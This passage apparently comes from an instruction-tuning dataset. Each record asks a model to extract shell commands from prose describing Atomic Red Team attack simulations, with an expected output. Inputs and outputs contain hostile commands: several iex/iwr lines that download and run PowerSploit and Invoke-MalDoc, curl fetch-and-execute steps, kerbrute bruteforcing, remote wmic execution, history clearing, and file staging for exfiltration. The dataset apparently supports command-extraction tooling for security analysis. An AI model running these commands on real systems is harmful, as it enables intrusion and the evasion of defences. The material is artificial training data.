$env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To disable the Windows Lock Workstation feature for the current user, modify the registry by executing this command in the cmd console: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableLockWorkstation /t REG_DWORD /d 1 /f; You can modify the registry to conceal desktop icons by executing this command via cmd: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoDesktop /t REG_DWORD /d 1 /f. Be aware that certain Group Policy adjustments might need a reboot to apply fully.", "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v DisableLockWorkstation /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoDesktop /t REG_DWORD /d 1 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For clearing the shell history specifically in bash, run this command: history -c; The shell history can be suspended, similar to the technique in Awfulshred wiper, by executing this command: set +o history", "output": "{\"command_list\": [\"history -c\\n\", \"set +o history\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When this test completes, it will start a new process locally, which can be done via the command: wmic process call create #{process_to_execute}; For remote process execution using WMIC, provide the target IP in the node parameter and run the following: wmic /user:#{user_name} /password:#{password} /node:\"#{node}\" process call create #{process_to_execute}\n", "output": "{\"command_list\": [\"wmic process call create #{process_to_execute}\\n\", \"wmic /user:#{user_name} /password:#{password} /node:\\\"#{node}\\\" process call create #{process_to_execute}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For finding files with certain extensions and saving them to a zip file prior to extraction, run the following PowerShell script:\n$startingDirectory = \"#{starting_directory}\"\n$outputZip = \"#{output_zip_folder_path}\"\n$fileExtensionsString = \"#{file_extensions}\" \n$fileExtensions = $fileExtensionsString -split \", \"\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null\n\nFunction Search-Files {\n param (\n [string]$directory\n )\n $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {\n $fileExtensions -contains $_.Extension.ToLower()\n }\n return $files\n}\n\n$foundFiles = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt 0) {\n $foundFilePaths = $foundFiles.FullName\n Compress-Archive -Path $foundFilePaths -DestinationPath \"$outputZip\\data.zip\"\n\n Write-Host \"Zip file created: $outputZip\\data.zip\"\n } else {\n Write-Host \"No files found with the specified extensions.\"\n }\n; This test involves downloading SQLite databases and a dump script, then running a search with the command: cd $HOME\ncurl -O #{remote_url}/art\ncurl -O #{remote_url}/gta.db\ncurl -O #{remote_url}/sqlite_dump.sh\nchmod +x sqlite_dump.sh\nfind . ! -executable -exec bash -c 'if [[ \"$(head -c 15 {} | strings)\" == \"SQLite format 3\" ]]; then echo \"{}\"; ./sqlite_dump.sh {}; fi' \\;", "output": "{\"command_list\": [\"$startingDirectory = \\\"#{starting_directory}\\\"\\n$outputZip = \\\"#{output_zip_folder_path}\\\"\\n$fileExtensionsString = \\\"#{file_extensions}\\\" \\n$fileExtensions = $fileExtensionsString -split \\\", \\\"\\n\\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null\\n\\nFunction Search-Files {\\n param (\\n [string]$directory\\n )\\n $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {\\n $fileExtensions -contains $_.Extension.ToLower()\\n }\\n return $files\\n}\\n\\n$foundFiles = Search-Files -directory $startingDirectory\\nif ($foundFiles.Count -gt 0) {\\n $foundFilePaths = $foundFiles.FullName\\n Compress-Archive -Path $foundFilePaths -DestinationPath \\\"$outputZip\\\\data.zip\\\"\\n\\n Write-Host \\\"Zip file created: $outputZip\\\\data.zip\\\"\\n } else {\\n Write-Host \\\"No files found with the specified extensions.\\\"\\n }\\n\", \"cd $HOME\\ncurl -O #{remote_url}/art\\ncurl -O #{remote_url}/gta.db\\ncurl -O #{remote_url}/sqlite_dump.sh\\nchmod +x sqlite_dump.sh\\nfind . ! -executable -exec bash -c 'if [[ \\\"$(head -c 15 {} | strings)\\\" == \\\"SQLite format 3\\\" ]]; then echo \\\"{}\\\"; ./sqlite_dump.sh {}; fi' \\\\;\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique involves Microsoft Office creating a malicious .bat file in AppData and executing it, which can be done with the command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{bat_path}`\" For Output As #1`n Write #1, `\"calc.exe`\"`n Close #1`n a = Shell(`\"cmd.exe /c #{bat_path} `\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\n; By combining Google Chrome and ScriptControl, this module achieves code execution through a locally hosted malicious payload. The payload, which defaults to executing calc.exe, is fetched and executed by headless Chrome via this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1204.002\\src\\chromeexec-macrocode.txt\" -officeProduct \"Word\" -sub \"ExecChrome\"", "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\" Open `\\\"#{bat_path}`\\\" For Output As #1`n Write #1, `\\\"calc.exe`\\\"`n Close #1`n a = Shell(`\\\"cmd.exe /c #{bat_path} `\\\", vbNormalFocus)`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1204.002\\\\src\\\\chromeexec-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"ExecChrome\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following sequence will read username and password combinations and launch a bruteforce attack via the command:\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\"; Downloading a macro-enabled document to the %temp% directory, simulating a phishing attack, is achieved via this command: $url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\PhishingAttachment.xlsm\n", "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\bruteforce.txt\\\" \\n\", \"$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'\\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\\\PhishingAttachment.xlsm\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To execute an HTA Application with the JScript script engine while simulating a double click, use the following command: Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick; The following PowerShell command downloads and executes an HTA application from a specified URI: Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}", "output": "{\"command_list\": [\"Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick\", \"Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or 